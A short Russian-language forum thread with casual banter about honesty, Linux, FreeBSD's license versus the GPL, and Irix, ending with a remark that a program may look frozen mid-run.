Ничего страшного, что он сам с большой вероятностью своровал идеи у своего инженера-тезки?
У кого ?
-
Я и так честнее фсех . Это аксиома . Работа на линуксе никак с честностью нисвязана вобще и никогда .
Но ведь приятно работать на хорошей ОС) Попробуйте FreeBSD! :) Ее лицензия еще более честная, чем GPL.
Но, вообще-то, есть только один истинный ОС... из славного рода Unix.. Irix имя ему. :D
-
Вроде работает . Если программа в середине выполнения выглядит как будто она зависла ---- не отключайте её , на самом деле она в порядке .
Наверно ошибка в коде. :(